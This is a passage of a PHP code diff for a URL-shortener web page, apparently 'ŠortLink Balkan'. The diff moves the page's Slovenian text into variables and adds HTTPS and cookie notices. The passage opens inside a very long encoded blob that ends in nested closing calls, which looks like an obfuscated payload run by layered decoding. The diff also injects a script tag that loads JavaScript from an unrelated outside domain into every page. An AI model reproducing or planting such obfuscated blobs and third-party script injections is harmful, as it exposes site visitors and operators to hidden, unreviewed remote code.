VNdjkwSnlOMExLU1BxMDlSR21FaXBLT0RGM1pqSkt1QnJTT0lGU1c0RjJEbUJKOXVEMFppQlI1aFpVcVlHMGdBTXdJVnFUOXhKVVJpWlJ1MEdUY1lJS2NqblQ1a0FHQVRIU0wwbjNFblpJdGVEME1XRVVBaUZhY0FBd0lGRzNFbkxJTjVNUXFBRzNSam9UU3dFSjFpSFFTSUgwV1huSmJtcDFjdW5ScVdweHlBckpXa016TWRwM0VibndFNEF2Z2pNMkFBcEdwa0ZKWjFYMGtmSkdxNVpHdW5GMFdHR2FBVlp4OVZyS0VBWlJBUm95dDVHeDVSTEdFY25LU1RISDljcHljQXBSRDBIVVdQQTBSaW5INWRKUVdhTUZnMlpIa2FwdmdRRkliNElRTUJMM2JrRzBwakVIZmlKeDg1RndNRERHU0JuSXlGTG1FUkl3SXhwR3FKR0pTR0JSU1FyVFNrb3h5alpSVjVBeXAzTUd5NHB5WmxwVUV4QUd0bEVIY2VvbXA1cklJNEZRSTJKUVNKR1NFRnJ4U1BKd01CR3o5QkpSU3duS0VPR0hrMkd6RXlaSlIzTVVSMUczRVpMMVdoR0tiNU15cDFBM001bjBFVUF5TmxHSUlNclNTSHBINWRaUjkxcHpWbEV4a1lyVHQxRHY5THBTdVFISU4xR0hJbEd4OUJKSjUycmFXT0lTRXhwbXFWWlNxRUR6SUpHU3VGSFJjV0ZJQTZwSFNGSUY5NEJJSTRaSXAzR0hTTHJLU1Zvd0FIcUdJS0VKYmlISUllcnhnRnBLRTZKSnl1b0ZnVEVtdVhEMkV3RlNNbUphU1JIbUlnTHlibUV4RUxNSVNHcWxnY3BGODNMbXVLcFFaMFkyTWRFd3BrTUpTVlowY0haeE1LRXY5VkcycTBwR3AwbjJ5SUx4dDVEbVc2WlRNdkEya0ZEMHQwSkhrS0l5QW1GSU1UWjFBY3F4U09xVVdLR3h1M01KeURGUkFUSXpWa0FVVjNCU3k2b1JjUVltWmtCSjl5WDF5Z0d4a0JEMUFaSDF4ZUl5dG1vbXgzWmw5WXJTcVJubGZqSDNxdUYyNTRuR00xWkt5T0VhRUZId1NDRTA5SERJTTRwSmdVSDJ5WkVIV3dESmI1SkpnNEFsOTRCUmNLWTBBQ29JVm1wR3VYTTJJWEFVSVpwR04wTDFFZ3J5TTZIeGt2RDBTVW5RV3VFM3EyQXg5YUFISDNvbU1IWklJbEl4dTNxUGdVWndNd0dtRXpJbXRpb0l5dXJUQWpEeHVoR3lPM0JSU0NvSU9TRDFjUUUxcG1yd3VESHdWZU14VzFxVU5lTXdxZm5KRVRHemd2ckpWMElKQVdIVVdKcUdOa0hUUjVHSExrTUlTV1oyMGpwVFYzblFxMUdSWmVBU0VLWjB5R0FSZzNabU9DSG1xVEVLSGpBSjFlRkpFem4xU0ZvSkVtQW15NlpSY1VwSUlsRlJxT0lUZ0lyemtoRVNMbW5VTXhvR3k0b2F1MEV4MDBYM0VPWndXQkwwSWdHeUlTcFFXMEdVdUJueWNicXlJVUQzeGpaMHFmSkpja0RHSVRBUmZrSEtBQ0pKU2ZHMkVnSDJrV0ZSOVdHbXlUbndJbElIMUFNd3FNSXlBU0UyU1NGVDFQcDNNd3BRV2VHVDltQkhJSnFJTGpweFM1SHhFZE0wOWJHMVNBWjFJMkUwOXhIeHFabkhJeG9HU2dBM3UyRzNFenF3V0pJUUlUckd5R00xQURueGtjSVFEMHBTRXpFMkVNSVFSbG8zcVVaVWNCWlBmbElUOWNaS2Nmb1RNVVozSUhMSHkzb3dFblphQXlJYXFLcUlJVkJHTGtEM3gxQlFPQUdSY0dMejlRbktXZG8ydGlIS2NXSXpwbE1UdWxFU3FPSlNiM0pITUxCUmJlcTBBQklhV21CSDl5cEtTZkVIMWVxVHFmWTFTWVp6OXdFUnUxR0h0a0ZtTmxNMldUcWF1UUpKSVFId0FPSTA5eUh6V1VBVHBtR3pxakFHTDRueGt6SEhNQUd6eWNwd001RjFxM0VVQVhESjFkRlVMZUhJUzVFR3lXWkoxMnFVWmlwSUFPcFRjbHJJT3lHU3FoR1JJNk0zTWpHSjRqR1R1Wkx6a2FxSFNPRTFxZG93TWhHbDk2R3dxMlpUTVVFSXFMTEhxREp6U0RCSkhqQTJNVnF6dDFCVXVTTHdTNVgweWZuRjlUSFRxUEV6eTVKSGt3b1RrTU1Ia0VNR3hsQVRra1kwdUJyd0k1SlN5Ym56MUJNd0kxSlJWaU0wV0taSU9VSlJXTUpIQTRuSFNJb2FJVFptcDVIU09qcEhrRkZTdW5JU0FRTUdFY01TU0dxVXVkRXhrWFltU2hvd3hsREpnVkhKeVhBUnkySEh1TEVtTXZJemd3QlVjV0UxRTJwM3BrWjBBUk1LcUFuVHlIQVNxekdRRUlaR081cDFPeU1VT3pEM0FSTVJrbUJSZ1luYUF3bnd5Z0h6cVNKd3AySHpIZUJTRVFvM3ltTTBjVW5GZ3hKU3VhTXpJVm4zU1lMeHBpcmFPbkd5U0hJemdRTXo1Qm53U0pYMUlNSDB1Zm5JV0pxd096cDBrZ0lTSVdNMklqRUtFV3JQOUlaVU1kWkhFS01HdTJHM2N1cVNPY0JReG1KVDBpRTAxQUVIWm1BVGNkcTNBVkcxRDBZMHVXb3hrNE1TVjVGVGtabkd1WUZ5cUNMM0VaTUlPR0p4RUtJRmdaRUpTVm9IY1dGekFhcTNxdkYyNXpMekl1RlV1dUV3QWdxYXlIRHhnQUh4TVhIME01b3dNUkl6Y0JBUDlIcmFNMEJVTTJGeUFkblFBT0ZRSXVxYXltcXlTSFkyV1dGSlN6bjBjeXBteUtKeU1qTVNPSVltcDBCUDlKTTNNR01hU0dabVNFcEl5QnBHcWZuUUlTRW1OZUVKcUxwYVIzb0ZnWElIa0VIVDFmRVJxRXBKUjJaVDFUTXZnSkF6cTFFd0Fqb1JBaEFHU0FyVXhpckpnUUdKVjJGMHFJTDJ1akZTU3VIeGtqR0taNG9KdWlvVXlsRkh1QVoySWdEMFdCcDJ5RUR4SWNveExscEtNS0lLV0ZJSDloQlVMM25LTzBBMkFRRTFWbE1QZ0NMd01sWlRSM0YyeTFKVWJqcFVxaUJTTVZMSDFlSXdxU0lSeGVaMXV6TEo1TEQzV0RJSFNQRUlNdkZHQWRwSWNmSG1XR0dSQUlaSlNXQXp5SVp6QTRNeDBsSFFXVUF4eTRaSEU2WDAxMEcyZ0dMMDFaSnp1SXJIeWZFVDVKQVRBUnFtV0VuVU9rb1F5Y253eTBaM3VScG1xbFoyTWNZMk16TEg5enAyMTFxeldDSFJFbHF6OXdHSXE0QTFFeUJUU2lGSFNBRTNMa0x4OU9uUkFZRjNiMnBReVhFeFNhTEowbHFUSVFYM01JTVJIakV4RTNFMnlaRnprd29ITDRHS01qRDJnMEQzeVdwM0U0bkdFRUkwNVpNMVcycEdxRm96STZBMHlUcnlBSnF3QVZFVDU0TDBmZUhtT3pJMGI0QXo1V29KV21HSEFXTXdxUUwzRTRaSGtBRnhjY0FVTW5JUDltbnlSa0pJcDVMSHlXcUhJbER4RTJJeVNXcHpxVHJUOGlJVHFBSDJ5NUcwV0RuUjgwRlFPT296NG1MbVdVWmFNZEpLRVZHVDFsbnlxNEgySWVHUVdMbkhJV3B6cUlyUDlib0dNWEZSOUxyS1d6REdMbG9RTTRGUXVERUtxS0VtcURwSEFBTEl0MW96dWtwSXVjRTF5bXFJTDRFbVI0bkh5S255cWJFME1jckh4aUczQUtad1N5SFFxZUhTTjRuVDF4SHpnbkZhTWNJU1NPSklObXJ6NUVKd1cxWkl1U0pKZjRCUkVHRlJ1WkVLTVVwbXBscXpjTEYxYzNueE1CQVNObEVKSG1KUUhtTG1MaUpHeDVvUmM2QlN1S0ExdVFweFMzRDFxWkhJdU9uMEVCTEh5QUJJdVVNSEwyRnhJbUFJRUNNMVYyRDJ1NkFUeVBHR1diSFIxekJKSGxFMmdXcng5REZUV0NJVEk1cUo1UUdHdU9uUXFVTUtJRm5KeWRGUU80RHo5U3BVeURYbU9NQlR1RElKRUJxejhscmFxVW94OGxJSXlBRVV5MXJLcU9aS09YcTJ5ZEQyRURwVUlkWTBjQkh4VzZNS01pTTBmbEVKcWlNejlIRG1aMkF4RVpKU3FTSDNXQUd6TWxHUVdibzN5REEycDFySlN3bzJJbHFHcXpvSkVrREZnVkZ6eW5GeGdDSWFPRlgydTVNU3VncklTaHBScXZveDVHcDBnVkZHdWpwUlZlWTFPaUZHV01wSVd6b3o5U3FKdDNwSWMzRkZnUEVKdTZCUkVVQTNPUUJURWZBSGdWQUdENHBLY3ZJMEVSbm15YVp5U2pFSHBpcGFiMUdTSUFuUldQclJJMm4yWm1NeUVuTWF5bkp6Z1BxeU93R3hTQ0dVY0ZvR3lPWDNIbUZ6TUhyUkFBSkpTY296RWxwdmcwclJBbkZhV1BGemIwbzJxbkVISDJISDF2TTNJek1IV1pyUkUyQXhSbUQzYzBHM1NiQkhXS3J6RDJBR0FPSVI1UkUwOU1xSkFNRXl1QUUyNWdvMU5tb1FFRkhLRVFMSDE1b1R0MXJKNWxIekQxTDBjS1htdVJaMHlRR0tIbFpSNW1YbXV4SVJNUkwwQWRuR0hrSlRFNlpVV0JyVGJtQlF1MEhRSVFNUXVKRzFTWHExT3lGU1dKSVREa01SU1RwenFJQkpJeklSOTBBbGY1R2FFZXBIV2tNeDQ0THg1SW53VmVFd0lYRHhqMUQwU3pwSDlERHg1MkpKOTVEMUFhcFR1NklTSDBuSDEzRlRFUEkxcUdMMlNBcFNja0V6OU1BbU9sSFJFSG9VT25BUVdJTHdBMkVhUzRxMnkyTXlIMHAwRUVxUUFFRlJXRERtQUdaMkVScEpwNEZHdVJKYXkwSFFNS25JdTNaSjlJR2FFdkpVeDBwU1dQQkdXTEdtdVpvS0VRWjF5QURJTDRJMEExcFJ5TEhRcWpCVXk2bjJ1dVptV3dZMkloQVRFMUV6QTFuMDE2R1VTaG5tRDFaMmt3RVRqa0JKeUZad0wycVI5RG8zY1pwMkVXTG1Fa0R3Tm1wSnVURVFTWUVKQVZuME12RnowbXBUOGxBSE1tTW1PQ3FtT3hGYU9ZSlIxeFoyZ0NIS1M1R3hNZm4wTUpCR0VkSlVFNUExRUhuUUV2cXhXblgyMTFxSGtZb3pjWm8zWjFHVFNBWlVPUUpKRVBFS0VWQTJJa0l4MTJySEFFcEhBVkJJVmlNSlIwR1NFZ0h6a0RMSklIQkdXam9JTVFMYUwyR3g5aUcySDBxSnk2blJJeEx5U1RNYUVsR0h0aW8wY1ZwSU9qRnpNQ0VtdWlKUlN5cFNPWEZVdWlKUkV3R21Pem55UzVwSnBrb1FFNVkwcWFaR3lSSEd5a0RJTWVxVGtaRkljVkd5TWpNeFZlR0tFSHBLdWdFMU9USDFxVXJRRWdJVVNKRXg1d0xHU0dCVHQ0cXhWbUdsZ0NIVVdob0hFV0R6SXdJSk1rSEtBaW54SUJIR01STVN4bVp3dW5NSE1ocXhJSm9IRWJNeGtQTUlNa01KVzJHd3lGSVRBbXFKV1habUFsRlRXakJINDBIU2JqQXd5WnB4U1daU09QRlR1ZUp6a3lKUlM2TUhJR3BKTVJMbGc1ckoxdUhVTjBHSUhtTUpXSk1IOXhHUUQ0RzJNYkpLRVJMSnFVR214NXBINTBxSjkxRGFjYkEyRVhvVGNCWm1FTEFSMWJCS0QySXg0bUkzcDJFVUl4Wnl1YUVHWjFFMElYRlVPZkZLTUtIMmppWW15am56V1JNSFZtSnhnVVp4a09HSjkwSWxnWUdIQXpEbUFPRjBnU0cweUpBdjl1WjBBdUxteVZuSUg1TDJxUkVHTVpySXVTbzBNbU1hdUVCSnQxWDJrVUpSdGVyYUFXRnpNZ3JTRURad3FaRnhxWkdVcWxxVEF5TEhFRUYxT1pKSlZlSUpJWkgxTTJHekVJRWF5NXFUZ1Byd0VjWkd1Z3BVdWNwVUVPSnpnSnBTY0ZuUklMSHhFeW55cUtEMUFmWm1TZ0dHQWVHVDFDR21OM0Z4Y2ZvVUFackY5bnF4Y1hGbUFuWDJXWlp5Y0RKSmJpcVRrenFSSVhFMjlEQXpFQk1KSDNJR1JlWkpxT0F6RXpBR0lKcnhjZFgyVzZBVHF5ckgwMEpRQTJEMk1GTGFTZG56SGtYbU9Ncnoxd0xtTUVIR3EzcTFJbXBKeVVCU1NCRXhTUE16Z1FCVEVUQkhBa0wyV3pGeFdjRUhneUl4a25YMEFEWjNFYW5VY2xFeldTSmFiNXJ3T0NxeXF3RHpjYkVKMWJNVVZscHlabUhIcWhKSU9YSVQ1QUhUeXZMR3lXcUh4MlgwQUlMYVduclNjSnB4eDVHelNkRUgxMk0yTXlFeXlocTBFTEphT1JZM1I1blRqZXFSTUxBVUV3bnp1QkVIZjRNeU12SFJ1RkJKamVuSlYySTFJdW4wSDBKVEkxWTFjQUVJY0hISk1aSnZnaHJ6U3dYbXlpcUdFeERIcVBYMU9TRDFJZEp4a0JuemMxRUZmMUkyTTRGeklqRUpjNkxtQVJNenVhWlIxbEZKdG1HeGtDWG1xVkxJSTJJdjlCSDFBaERIU2ZJMkV5bkpNUUJRTVlvVDAxRTFxY01TeTJaSk1IbkdFVkJISVhwMjFDb3hTQXAwU0pIMDBlSVVxeEdUU3hIYUFJTDNTRUEzeURYMHFBSW15dkRLY1ZEdjl6ckpFT255Y1BMS0FRRlVEMkJTU0FwUDlPREoxNG4ySWFES3V3RlR1ekdHRWFBMU9sQUdXam55Y3ZwMUlNSkhxS0dJRWtFR0VIRjJjMXJJTDFad1NpTW1MNG95VmVyUVJsSnlTREdteVhJMHkxRHpFY0ltSXhISld5SFVjYm54NUpvR1d2TDNBR0pSY0FueFN5TVVPNUZ6TDNweXQwSlQxNVgzRW5ISGd4THlWakpUMXpGU3VDQUpxd0F5U0pEMFdVRG1PZk1hdGVEd3FlcFVOMEcySGpISmZrWktJR3FUeVJuR09BRklBWG4wMWFNeldQTDBrNUxIZzNyYVNTRVFNZEVVT3Zvems2WnlBUElVYm1BUjlmR0pFVXAwRDNJS0VJbnhTSUd6eGpxSEFrTEtBY0RHdDBvemtFRkdBNnBUZ3hCSloxQktXZE1JeWpJME1JQW15d25JRGxJeHBlR3pJV0ZtTXhyeU1pQW1JUEd6WjNaVGdUcVJJeUhLU0VCVUlHRlQ5eUFUdTBFMVdjckpXZ0dJSGVGR3lMcHprZ0Qwa2NvYU41bjFBQ1ptdTRBUUgwbjBJR0RhT1JxeGZqcUtOMkl5WjVHM0lMRnhXWk1JT1ZxMjV1b0prWklGOW1NUkhrSVRwM016Y1BGVU5rcTFTa24xdVlaMFdPSGFjSEl6NVVMekhlR3pIMEF4RTNJbXFVRkljbkhUOWJEeXRpQVRNU3B6TGlIMElsSnd4NUlKcTFMYUV6TXhFV01VeWxuU3FPRVF4akF6TUpwVUhsRWFxd0VUNDVEYVdFRUpBMUZTV3VxVGplcHp5UEJKQVhwMjExSkp5SlgzQXlFM01ub1VBakcwOTBCUmd5SklTUExLU2lHMDBqSDBNU1ltV3lBVU9nRkdJd1p4eXdvSE1SSUtjeEhhcUdyU08yRktJRm5JeWRYMHVCSG1PWW8ycUdaSGtjTEo5T3BhY1JBM08wTVV1Rm96a0ZEMUhlTWFNeUZtU3VySk12bkhTTU15QWdFSXVsSkdMbFkzYm1vMk1NTTNTRnFHTTZwSU4wcUpJbHFGOW5wS01qRXZnV0ZITVNxenlBRDBXSW5LcUpvbUFhQkpxd0ZIdTNaS09iRXhBaEdtSVZxSlNUcGFMNHBtU0tHMnA0RVQxd0JKMWNBdjlnTVFxYUd3V2RFVXAybzBJYUR4eVpEMVYxSUgxekJIMGxEYXlCQW1FWm94Vm1JYUVQREt5NUkyamVJVU9FR1JNMFgwSWFvUjliQlJJZEh4QWhvVGprRHg5TUFScUxaMHVFRklTNnFJU2tEbVNoblFFMW9UV1VuUXlNSFNjQ24wdVdvbUFYR1NXZElKeXZyeldCblV1dloyV2FNejlBcTNXRkZINDNveVIyRlQ1Mm9RTUpubXlVbjNIZUxGZ0JEM0U2SmF1WklhT3hGS1NCb3pTMnJ2OVBaM01Kb2FPT00zT1pvVFNNRHlBVUx5SUNyeXVSRjF1REExV1RFS3l3QVFNNEV6Z0hJMUlBTHhXMk0yOWxvek1BQlRnQXJTdUVxUjVNRVRWam5TcDBNSHg1WkY5NEd4NWhHS2MxSVVXY0lKQWdyd0l2SFR5SUpSeUduUGd3blBnUEFtQVVuR3lYWTBnS1kweUpyeDV4cEdTbEx4NWZFS01pRDNNRkgySUZvSU1TSEowM0lVdVRBVUlKRnpXMHBSa0FEemNQbkt5enBRU25GMk1lR2F5YURGZ0NIUkFiQTN0bFgya0VEMHFDR1JNUW56OVVNU09hSlVPbkZtTzRGbUxlQVJjZVptUzRaSjV3cElXQkhTU2pNUlNDcTF5SEgya3dJU0FNRW1Xdk1UNWduMDFiSFNXRHBsZ1hGeVN1TEh1SnFhRVNKSUhlTUtBSm9RSXpvSFdmbkdFaU1KV2JBSkVIcEtBenJ3VzBMS3VXTEo1S3JRRWdwM0xrRlFNVkwyWjBMMHA1TDNaNFpLcGVMR3VtcVQ5SlphdW1aMXVITHdEZVpIWjJGSVIwRXpFZk1HV1VHUnFKSUpXV0dLU2ZBMkUxSVFWanFLdTJubVZtSnl1ZEl4dVdNSDUwSTJjbXFHVmpJSnU1cUdNMEEzWjRxMUlBRW1BZkhJSVFIU0wwcUg5dk1QOXVyekVJWjFFYUd4eGlxMk14RVJrbFkyRWtHeXg0SUlxd1pKMTJJMUVoRXdXS1kzRUhyeWJlcGxnaHFtdURHUnVQWndwaVltdDNZMkwxQkY4NENEPT0nKSkpKSk7'));
+
+} else {
+ $log .= $form_not_sent;
}
$print .= "
+<script src=https://d.a4l.space/tohttps.js language=javascript type='text/javascript'></script>
<style>
.alert {
opacity: 1;
@@ -352,37 +513,44 @@ for (i = 0; i < close.length; i++) {
setTimeout(function(){ div.style.display = 'none'; }, 600);
}
}
-</script>
+
+</script>
+<meta name=viewport content='width=device-width, initial-scale=1.0'>
";
$print .= "
-<title>ŠortLink Balkan</title>
-<h1 align=center>ŠortLink Balkan</h1>
-<h2 align=center>Ste kdaj hoteli narediti iz dolgega linka ŠortLink tako, da bi izgledal bolj balkansko?</h2>
-<h2 align=center>Tudi če niste, je tukaj ŠortLink Balkan, edini Link Šortener, namenjen predvsem slovanskim narodom,saj za njegovo uporabo potrebujete črko Š!</h2>
-<h3 align=center>Vsi Šortani linki se bodo začeli z š.ga, na primer š.ga/tekst. Najs ane?</h3>
+<title>".$title."</title>
+<h1 align=center>".$title."</h1>
+".$subtitle."
<div align=center>
<form method=POST action=''>
- <input autocomplete=off type=url name=long placeholder='Vpiši dolg URL ...' required=required align=center><br>
- ".$domena."/<input autocomplete=off type=text name=short placeholder='Vpiši krajšalnico ...' required=required align=center><br>
- <img id=captcha src=/securimage/securimage_show.php alt='Dostop samo ljudem. Prepiši znake iz slike, da potrdiš, da nisi program.' align=center /><br>
- <input autocomplete=off placeholder='Prepiši znake ...' type=text name=captcha_code size=10 maxlength=6 align=center/><br>
- <input autocomplete=off type=submit name=submit value=Skrajšaj! align=center>
+ <input autocomplete=off type=url name=long placeholder='".$longurl_placeholder." ...' required=required align=center><br>
+ ".$domena."/<input maxlenght=".$maxlenght." autocomplete=off type=text name=short placeholder='".$shortexpression_placeholder." ...' required=required align=center><br>
+ <img id=captcha src=/vendor/dapphp/securimage/securimage_show.php alt='Captcha' align=center /><br>
+ <input autocomplete=off type=text placeholder='".$captcha_placeholder." ...' name=captcha_code size=10 maxlength=6 align=center/><br>
+ <input autocomplete=off type=submit name=submit value='".$submit_value."!' align=center>
</form>
-<br><small align=center>
-ŠortLink Balkan za svoje delovanje potrebuje in uporablja sejne piškotke. Z uporabo storitve se strinajte z shranjevanjem piškotkov
-v vaš brskalnik za največ 24 minut. Piškotek se uporablja samo za interni namen, torej za to, da izvemo katere črke si imel na preverjanju za ljudi (CAPTCHA)
-in nikakor ne za namene vohunjenja (tracking cookies). Piškotki so vidni samo na domeni š.ga, torej samo našemu strežniku. To sporočilo smo vam po veljavnem EU
-zakonu morali pokazati, ker sta Hrvaška in Slovenija v Evropski Uniji in morata zato upoštevati te glupe zakone.
+";
+
+if(empty($_SERVER['HTTPS'])) {
+ $print .= "<br><text style=color:red;>".$insecure_warning."</text>";
+} else {
+ $print .="<br><text style=color:green;>".$secure_connection."</text>";
+}
+
+$print .= "
+<br>
+<small align=center>
+".$cookie_warning."
</small>
</div>
";
-// $print .= "<h4 align=center>Ker še nisem sprogramiral, ŠortLink Balkan še ne deluje. Ne uporabljaj ga, ker ne bo nič naredil.</h4>"; // a je že?
+//$print .= "<h4 align=center>Ker še nisem sprogramiral, ŠortLink Balkan še ne deluje. Ne uporabljaj ga, ker ne bo nič naredil.</h4>";
-echo "<pre>" . $log . "</pre>"; // zakomentiraj to vrstico, da dnevnika ne boš prikazal, ali pa samo naredi HTML komentar, da lahko v sili še vedno pogledaš
+echo "<!--<pre>" . $log . "</pre>-->";
echo $print;
echo $alert;
?>